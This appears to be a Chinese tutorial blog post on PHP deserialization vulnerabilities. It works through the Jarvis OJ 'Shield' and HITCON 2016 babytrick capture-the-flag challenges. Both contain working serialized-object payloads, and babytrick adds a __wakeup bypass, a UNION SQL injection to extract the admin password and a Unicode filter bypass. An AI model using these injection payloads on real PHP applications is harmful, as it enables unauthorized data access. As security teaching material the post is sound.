PHP反序列化漏洞研究
序列化
序列化说通俗点就是把一个对象变成可以传输的字符串
php serialize()函数
用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。
<?php
$sites = array('Google', 'Microsoft', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data . PHP_EOL;
?>
输出:
a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}
解释
a: 代表数组(如果是o就代表对象(object))
3: 代表数组里面有3个变量
i: 代表数据类型(i:int;s:string)
6: 代表数据长度
反序列化
php unserialize()函数
用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>
输出:
Array ( [0] => Google [1] => Microsoft [2] => Facebook )
魔法方法
在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:
__construct()...........在每次创建新对象时先调用
__destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString()............用于一个类被当成字符串时应怎样回应
__sleep() ..............在被序列化之前运行
__wakeup()..............反序列化时被调用
实例分析
Jarvis 神盾局的秘密
通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分
index.php:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
shield.php
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
__construct
函数在实例被创建的时候(也就是new Shield()
的时候)执行,所以不会影响对$file
的操作
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$shield=new Shield('pctf.php');
echo serialize($shield);
?>
输出:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
payload:
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
Hitcon-ctf-2016 babytrick
https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick
<?php
//include:将 PHP 文件的内容插入另一个 PHP 文件
include "config.php";
class HITCON{
//private:被private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以。
private $method;
private $args;
private $conn;
//定义一个构造方法初始化赋值
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
//sprint:把格式化的字符串写入一个变量中
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}
function login() {
global $FLAG;
list($username, $password) = func_get_args();
//trim:移除字符串两侧的空白字符或其他预定义字符
//mysql_escape_string:转义特殊字符
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
//stripos:查找字符串第一次出现的位置
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
//highlight_file:对文件进行语法高亮显示
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}
?>
源码审计:
php反序列化漏洞、对象注入,unserialize
函数没有过滤而__wakeup
函数进行了过滤,绕过__wakeup
函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)
首先传入参数data
需要构造序列化,通过sql注入获取orange用户的数据库密码
show()
function show() {
list($username) = func_get_args();
//sprint:把格式化的字符串写入一个变量中
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}
通过分析show方法,构造如下:
payload:
<?php
class HITCON{
private $method="show";
private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- ");
private $conn=1;
}
$hit = new HITCON();
$result = serialize($hit);
var_dump($result);
?>
执行的sql语句为:
SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '
疑问:不知为何username
的值也是有限制,输入一些其他的字符并不能够得到结果
得到:
O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}
构造如下:
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}
说明:至于为什么加上%00
:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00
得到:{"msg":"root is admin"}
login()
function login() {
global $FLAG;
list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
if ( $username == 'orange' || stripos($sql, 'orange') != false )
可以看到对于用户名进行了过滤,可以参考连接3的绕过方法
payload:
<?php
class HITCON{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = 'orÃnge';
$args['password'] = 'root';
$data = new HITCON('login',$args);
var_dump(serialize($data));
?>
得到:
O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}
构造:
O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}
{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}
参考
(1)https://www.freebuf.com/articles/web/167721.html
(2)https://blog.csdn.net/qq_40996739/article/details/82724602
(3)https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/
(4)https://www.freebuf.com/vuls/116705.html
原文地址:https://www.cnblogs.com/CH42e/p/11934785.html
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- Redis 最牛实践:业务层面和运维层面优化!
- 一个 randomkey 命令导致的 Redis 事故。。
- 分布式锁(数据库、Redis、ZK)拍了拍你
- 贷款违约预测-Task3 特征工程
- 用SQL代替DSL查询ElasticSearch怎样?
- 面试造飞机:面对Redis持久化连环Call,你还顶得住吗?
- 体验spring-boot-devtools热部署,流畅且不失强大,Jrebel呢?
- 贷款诈骗 x 摸版0day + 实战预警脚本
- 你不知道的 Linux 使用技巧
- 一文详解 Websocket 的前世今生
- 实例 | 教你用Python写一个电信客户流失预测模型
- OpenCV快速傅里叶变换(FFT)用于图像和视频流的模糊检测
- 看了这个总结,其实 Matplotlib 可视化,也没那么难!
- 使用OpenCV进行模糊检测(拉普拉斯算子)
- 利用opencv对图像进行长曝光